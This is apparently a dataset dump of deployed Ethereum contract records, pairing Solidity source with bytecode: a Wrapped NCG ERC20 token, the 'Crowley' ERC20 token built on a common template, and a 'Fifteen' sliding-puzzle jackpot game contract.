modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/WrappedNCG.sol pragma solidity >=0.8.0; contract WrappedNCG is ERC20, Ownable { event Burn(address indexed _sender, bytes32 indexed _to, uint256 amount); constructor() ERC20("Wrapped NCG", "WNCG") {} function burn(uint256 amount, bytes32 to) public { _burn(_msgSender(), amount); emit Burn(_msgSender(), to, amount); } function mint(address account, uint256 amount) public onlyOwner { _mint(account, amount); } function decimals() public pure override returns (uint8) { return 18; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb146102b1578063bcf64e05146102e1578063dd62ed3e146102fd578063f2fde38b1461032d57610100565b8063715018a61461023b5780638da5cb5b1461024557806395d89b4114610263578063a457c2d71461028157610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf57806340c10f19146101ef57806370a082311461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610349565b60405161011a9190611a45565b60405180910390f35b61013d600480360381019061013891906114a6565b6103db565b60405161014a9190611a2a565b60405180910390f35b61015b6103f9565b6040516101689190611be7565b60405180910390f35b61018b60048036038101906101869190611457565b610403565b6040516101989190611a2a565b60405180910390f35b6101a9610504565b6040516101b69190611c02565b60405180910390f35b6101d960048036038101906101d491906114a6565b61050d565b6040516101e69190611a2a565b60405180910390f35b610209600480360381019061020491906114a6565b6105b9565b005b610225600480360381019061022091906113f2565b610643565b6040516102329190611be7565b60405180910390f35b61024361068b565b005b61024d6107c8565b60405161025a9190611a0f565b60405180910390f35b61026b6107f2565b6040516102789190611a45565b60405180910390f35b61029b600480360381019061029691906114a6565b610884565b6040516102a89190611a2a565b60405180910390f35b6102cb60048036038101906102c691906114a6565b610978565b6040516102d89190611a2a565b60405180910390f35b6102fb60048036038101906102f691906114e2565b610996565b005b6103176004803603810190610312919061141b565b610a01565b6040516103249190611be7565b60405180910390f35b610347600480360381019061034291906113f2565b610a88565b005b60606003805461035890611d55565b80601f016020809104026020016040519081016040528092919081815260200182805461038490611d55565b80156103d15780601f106103a6576101008083540402835291602001916103d1565b820191906000526020600020905b8154815290600101906020018083116103b457829003601f168201915b5050505050905090565b60006103ef6103e8610c34565b8484610c3c565b6001905092915050565b6000600254905090565b6000610410848484610e07565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045b610c34565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d290611b07565b60405180910390fd5b6104f8856104e7610c34565b85846104f39190611c8f565b610c3c565b60019150509392505050565b60006012905090565b60006105af61051a610c34565b848460016000610528610c34565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105aa9190611c39565b610c3c565b6001905092915050565b6105c1610c34565b73ffffffffffffffffffffffffffffffffffffffff166105df6107c8565b73ffffffffffffffffffffffffffffffffffffffff1614610635576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062c90611b27565b60405180910390fd5b61063f8282611086565b5050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610693610c34565b73ffffffffffffffffffffffffffffffffffffffff166106b16107c8565b73ffffffffffffffffffffffffffffffffffffffff1614610707576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fe90611b27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461080190611d55565b80601f016020809104026020016040519081016040528092919081815260200182805461082d90611d55565b801561087a5780601f1061084f5761010080835404028352916020019161087a565b820191906000526020600020905b81548152906001019060200180831161085d57829003601f168201915b5050505050905090565b60008060016000610893610c34565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610950576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094790611ba7565b60405180910390fd5b61096d61095b610c34565b8585846109689190611c8f565b610c3c565b600191505092915050565b600061098c610985610c34565b8484610e07565b6001905092915050565b6109a76109a1610c34565b836111da565b806109b0610c34565b73ffffffffffffffffffffffffffffffffffffffff167fc3599666213715dfabdf658c56a97b9adfad2cd9689690c70c79b20bc61940c9846040516109f59190611be7565b60405180910390a35050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a90610c34565b73ffffffffffffffffffffffffffffffffffffffff16610aae6107c8565b73ffffffffffffffffffffffffffffffffffffffff1614610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb90611b27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6b90611aa7565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca390611b87565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1390611ac7565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dfa9190611be7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e90611b67565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ee7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ede90611a67565b60405180910390fd5b610ef28383836113ae565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6f90611ae7565b60405180910390fd5b8181610f849190611c8f565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110149190611c39565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110789190611be7565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ed90611bc7565b60405180910390fd5b611102600083836113ae565b80600260008282546111149190611c39565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111699190611c39565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111ce9190611be7565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561124a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124190611b47565b60405180910390fd5b611256826000836113ae565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156112dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d390611a87565b60405180910390fd5b81816112e89190611c8f565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816002600082825461133c9190611c8f565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113a19190611be7565b60405180910390a3505050565b505050565b6000813590506113c281611df6565b92915050565b6000813590506113d781611e0d565b92915050565b6000813590506113ec81611e24565b92915050565b60006020828403121561140457600080fd5b6000611412848285016113b3565b91505092915050565b6000806040838503121561142e57600080fd5b600061143c858286016113b3565b925050602061144d858286016113b3565b9150509250929050565b60008060006060848603121561146c57600080fd5b600061147a868287016113b3565b935050602061148b868287016113b3565b925050604061149c868287016113dd565b9150509250925092565b600080604083850312156114b957600080fd5b60006114c7858286016113b3565b92505060206114d8858286016113dd565b9150509250929050565b600080604083850312156114f557600080fd5b6000611503858286016113dd565b9250506020611514858286016113c8565b9150509250929050565b61152781611cc3565b82525050565b61153681611cd5565b82525050565b600061154782611c1d565b6115518185611c28565b9350611561818560208601611d22565b61156a81611de5565b840191505092915050565b6000611582602383611c28565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115e8602283611c28565b91507f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061164e602683611c28565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006116b4602283611c28565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061171a602683611c28565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611780602883611c28565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b60006117e6602083611c28565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611826602183611c28565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061188c602583611c28565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006118f2602483611c28565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611958602583611c28565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006119be601f83611c28565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6119fa81611d0b565b82525050565b611a0981611d15565b82525050565b6000602082019050611a24600083018461151e565b92915050565b6000602082019050611a3f600083018461152d565b92915050565b60006020820190508181036000830152611a5f818461153c565b905092915050565b60006020820190508181036000830152611a8081611575565b9050919050565b60006020820190508181036000830152611aa0816115db565b9050919050565b60006020820190508181036000830152611ac081611641565b9050919050565b60006020820190508181036000830152611ae0816116a7565b9050919050565b60006020820190508181036000830152611b008161170d565b9050919050565b60006020820190508181036000830152611b2081611773565b9050919050565b60006020820190508181036000830152611b40816117d9565b9050919050565b60006020820190508181036000830152611b6081611819565b9050919050565b60006020820190508181036000830152611b808161187f565b9050919050565b60006020820190508181036000830152611ba0816118e5565b9050919050565b60006020820190508181036000830152611bc08161194b565b9050919050565b60006020820190508181036000830152611be0816119b1565b9050919050565b6000602082019050611bfc60008301846119f1565b92915050565b6000602082019050611c176000830184611a00565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611c4482611d0b565b9150611c4f83611d0b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c8457611c83611d87565b5b828201905092915050565b6000611c9a82611d0b565b9150611ca583611d0b565b925082821015611cb857611cb7611d87565b5b828203905092915050565b6000611cce82611ceb565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611d40578082015181840152602081019050611d25565b83811115611d4f576000848401525b50505050565b60006002820490506001821680611d6d57607f821691505b60208210811415611d8157611d80611db6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611dff81611cc3565b8114611e0a57600080fd5b50565b611e1681611ce1565b8114611e2157600080fd5b50565b611e2d81611d0b565b8114611e3857600080fd5b5056fea2646970667358221220cf5f897872f6102844cf47770b8f5f1cc5557398b7e9bcf570b371626909147a64736f6c63430008000033
[ 38 ]
0xf2049517e8cac0c219ac6ce78b8bb984c0d267b8
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // Crowley token contract // // Deployed to : 0x53Bde56381094D82975F966372470d282EA11756 // Symbol : CRL // Name : CROWLEY TOKEN // Total supply: 666666 // Decimals : 6 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract CrowleyToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function CrowleyToken() public { symbol = "CRL"; name = "CrowleyToken"; decimals = 6; _totalSupply = 666666666666; balances[0x53Bde56381094D82975F966372470d282EA11756] = _totalSupply; Transfer(address(0), 0x53Bde56381094D82975F966372470d282EA11756, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x6060604052600436106100f85763ffffffff60e060020a60003504166306fdde0381146100fd578063095ea7b31461018757806318160ddd146101bd57806323b872dd146101e2578063313ce5671461020a5780633eaaf86b1461023357806370a082311461024657806379ba5097146102655780638da5cb5b1461027a57806395d89b41146102a9578063a293d1e8146102bc578063a9059cbb146102d5578063b5931f7c146102f7578063cae9ca5114610310578063d05c78da14610375578063d4ee1d901461038e578063dc39d06d146103a1578063dd62ed3e146103c3578063e6cb9013146103e8578063f2fde38b14610401575b600080fd5b341561010857600080fd5b610110610420565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014c578082015183820152602001610134565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019257600080fd5b6101a9600160a060020a03600435166024356104be565b604051901515815260200160405180910390f35b34156101c857600080fd5b6101d061052b565b60405190815260200160405180910390f35b34156101ed57600080fd5b6101a9600160a060020a036004358116906024351660443561055d565b341561021557600080fd5b61021d61065e565b60405160ff909116815260200160405180910390f35b341561023e57600080fd5b6101d0610667565b341561025157600080fd5b6101d0600160a060020a036004351661066d565b341561027057600080fd5b610278610688565b005b341561028557600080fd5b61028d610716565b604051600160a060020a03909116815260200160405180910390f35b34156102b457600080fd5b610110610725565b34156102c757600080fd5b6101d0600435602435610790565b34156102e057600080fd5b6101a9600160a060020a03600435166024356107a5565b341561030257600080fd5b6101d0600435602435610858565b341561031b57600080fd5b6101a960048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061087995505050505050565b341561038057600080fd5b6101d06004356024356109e0565b341561039957600080fd5b61028d610a05565b34156103ac57600080fd5b6101a9600160a060020a0360043516602435610a14565b34156103ce57600080fd5b6101d0600160a060020a0360043581169060243516610ab7565b34156103f357600080fd5b6101d0600435602435610ae2565b341561040c57600080fd5b610278600160a060020a0360043516610af2565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104b65780601f1061048b576101008083540402835291602001916104b6565b820191906000526020600020905b81548152906001019060200180831161049957829003601f168201915b505050505081565b600160a060020a03338116600081815260076020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b6000805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8546005540390565b600160a060020a0383166000908152600660205260408120546105809083610790565b600160a060020a03808616600090815260066020908152604080832094909455600781528382203390931682529190915220546105bd9083610790565b600160a060020a03808616600090815260076020908152604080832033851684528252808320949094559186168152600690915220546105fd9083610ae2565b600160a060020a03808516600081815260066020526040908190209390935591908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60045460ff1681565b60055481565b600160a060020a031660009081526006602052604090205490565b60015433600160a060020a039081169116146106a357600080fd5b600154600054600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600054600160a060020a031681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104b65780601f1061048b576101008083540402835291602001916104b6565b60008282111561079f57600080fd5b50900390565b600160a060020a0333166000908152600660205260408120546107c89083610790565b600160a060020a0333811660009081526006602052604080822093909355908516815220546107f79083610ae2565b600160a060020a0380851660008181526006602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600080821161086657600080fd5b818381151561087157fe5b049392505050565b600160a060020a03338116600081815260076020908152604080832094881680845294909152808220869055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259086905190815260200160405180910390a383600160a060020a0316638f4ffcb1338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561097457808201518382015260200161095c565b50505050905090810190601f1680156109a15780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156109c257600080fd5b6102c65a03f115156109d357600080fd5b5060019695505050505050565b8181028215806109fa57508183828115156109f757fe5b04145b151561052557600080fd5b600154600160a060020a031681565b6000805433600160a060020a03908116911614610a3057600080fd5b60008054600160a060020a038086169263a9059cbb929091169085906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610a9657600080fd5b6102c65a03f11515610aa757600080fd5b5050506040518051949350505050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b8181018281101561052557600080fd5b60005433600160a060020a03908116911614610b0d57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a72305820ca7d3d2284df88293fb026ebcf8f53f9dc49eed11c7da59995a8e3263d1541d50029
[ 2 ]
0xf204af93aa5da4364e30d3f92ea1d259cd8d6a7f
// Puzzle "Fifteen". // Numbers can be moved by puzzle owner to the empty place. // The winner must put the numbers (1-4) in the first row in the correct order. // // Start position: //--------------------- //| 15 | 14 | 13 | 12 | //--------------------- //| 11 | 10 | 9 | 8 | //--------------------- //| 7 | 6 | 5 | 4 | //--------------------- //| 3 | 2 | 1 | | //--------------------- // //site - https://puzzlefifteen.xyz/ pragma solidity ^0.4.21; contract Payments { address public coOwner; mapping(address => uint256) public payments; function Payments() public { //contract owner coOwner = msg.sender; } modifier onlyCoOwner() { require(msg.sender == coOwner); _; } function transferCoOwnership(address _newCoOwner) public onlyCoOwner { require(_newCoOwner != address(0)); coOwner = _newCoOwner; } function PayWins(address _winner) public { require (payments[_winner] > 0 && _winner!=address(0) && this.balance >= payments[_winner]); _winner.transfer(payments[_winner]); } } contract Fifteen is Payments { //puzzleId => row => column => value mapping (uint8 => mapping (uint8 => mapping (uint8 => uint8))) public fifteenPuzzles; mapping (uint8 => address) public puzzleIdOwner; mapping (uint8 => uint256) public puzzleIdPrice; uint256 public jackpot = 0; function initNewGame() public onlyCoOwner payable { //set start win pot require (msg.value>0); require (jackpot == 0); jackpot = msg.value; uint8 row; uint8 col; uint8 num; for (uint8 puzzleId=1; puzzleId<=6; puzzleId++) { num=15; puzzleIdOwner[puzzleId] = address(this); puzzleIdPrice[puzzleId] = 0.001 ether; for (row=1; row<=4; row++) { for (col=1; col<=4; col++) { fifteenPuzzles[puzzleId][row][col]=num; num--; } } } } function getPuzzle(uint8 _puzzleId) public constant returns(uint8[16] puzzleValues) { uint8 row; uint8 col; uint8 num = 0; for (row=1; row<=4; row++) { for (col=1; col<=4; col++) { puzzleValues[num] = fifteenPuzzles[_puzzleId][row][col]; num++; } } } function changePuzzle(uint8 _puzzleId, uint8 _row, uint8 _col, uint8 _torow, uint8 _tocol) public gameNotStopped { require (msg.sender == puzzleIdOwner[_puzzleId]); require (fifteenPuzzles[_puzzleId][_torow][_tocol] == 0); //free place is number 0 require (_row >= 1 && _row <= 4 && _col >= 1 && _col <= 4 && _torow >= 1 && _torow <= 4 && _tocol >= 1 && _tocol <= 4); require ((_row == _torow && (_col-_tocol == 1 || _tocol-_col == 1)) || (_col == _tocol && (_row-_torow == 1 || _torow-_row== 1))); fifteenPuzzles[_puzzleId][_torow][_tocol] = fifteenPuzzles[_puzzleId][_row][_col]; fifteenPuzzles[_puzzleId][_row][_col] = 0; if (fifteenPuzzles[_puzzleId][1][1] == 1 && fifteenPuzzles[_puzzleId][1][2] == 2 && fifteenPuzzles[_puzzleId][1][3] == 3 && fifteenPuzzles[_puzzleId][1][4] == 4) { // we have the winner - stop game msg.sender.transfer(jackpot); jackpot = 0; //stop game } } function buyPuzzle(uint8 _puzzleId) public gameNotStopped payable { address puzzleOwner = puzzleIdOwner[_puzzleId]; require(puzzleOwner != msg.sender && msg.sender != address(0)); uint256 puzzlePrice = puzzleIdPrice[_puzzleId]; require(msg.value >= puzzlePrice); //new owner puzzleIdOwner[_puzzleId] = msg.sender; uint256 oldPrice = uint256(puzzlePrice/2); //new price puzzleIdPrice[_puzzleId] = uint256(puzzlePrice*2); //profit fee 20% from oldPrice ( or 10% from puzzlePrice ) uint256 profitFee = uint256(oldPrice/5); uint256 oldOwnerPayment = uint256(oldPrice + profitFee); //60% from oldPrice ( or 30% from puzzlePrice ) to jackpot jackpot += uint256(profitFee*3); if (puzzleOwner != address(this)) { puzzleOwner.transfer(oldOwnerPayment); coOwner.transfer(profitFee); } else { coOwner.transfer(oldOwnerPayment+profitFee); } //excess pay if (msg.value > puzzlePrice) { msg.sender.transfer(msg.value - puzzlePrice); } } modifier gameNotStopped() { require(jackpot > 0); _; } }
